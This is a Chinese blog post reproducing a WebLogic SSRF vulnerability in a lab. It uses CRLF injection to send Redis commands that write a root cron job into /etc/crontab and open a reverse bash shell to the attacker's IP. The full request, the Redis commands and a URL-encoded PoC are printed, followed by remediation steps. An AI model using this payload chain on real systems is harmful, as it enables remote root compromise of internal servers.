Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

admin 2022年4月22日00:12:58评论26 views字数 2396阅读7分59秒阅读模式

1、漏洞描述

    SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
  SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
该漏洞危害:

1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)

2、复现环境:

 攻击机(kali):192.168.4.157

 目标机(ubuntu):192.168.4.128

 内网redis服务器:172.18.0.2

3、漏洞复现:

 SSRF漏洞存在于http://192.168.4.128:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。


GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.4.128:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

 修改为一个不存在的端口,将会返回could not connect over HTTP to server

Weblogic ssrf漏洞攻击内网redis服务器,反弹bash
通过错误的不同,即可探测内网状态。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

发送三条redis命令,将弹shell脚本写入/etc/crontab
set 1 "nnnn* * * * * root bash -i >& /dev/tcp/192.168.4.157/1236 0>&1nnnn"
config set dir /etc/
config set dbfilename crontab
save
aa

进行URL编码:set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%

Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

 poc:

http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa

Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

 通过上面反弹shell脚本的执行,成功反弹内网redis服务器的shell

Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

 4、修复方法:

    方法一:
         删除uddiexplorer文件夹
         限制uddiexplorer应用只能内网访问
 方法二:
      将SearchPublicRegistries.jsp直接删除

 方法三:
    Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
        将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
        将weblogic安装目录下的server/lib/uddiexplorer.war下载
        用winrar等工具打开uddiexplorer.war
        将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
        保存后上传回服务端替换原先的uddiexplorer.war
        对于多台主机组成的集群,针对每台主机都要做这样的操作
        由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)



原文始发于微信公众号(红豆芷浠):Weblogic ssrf漏洞攻击内网redis服务器,反弹bash

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日00:12:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic ssrf漏洞攻击内网redis服务器,反弹bashhttp://cn-sec.com/archives/933154.html

发表评论

匿名网友 填写信息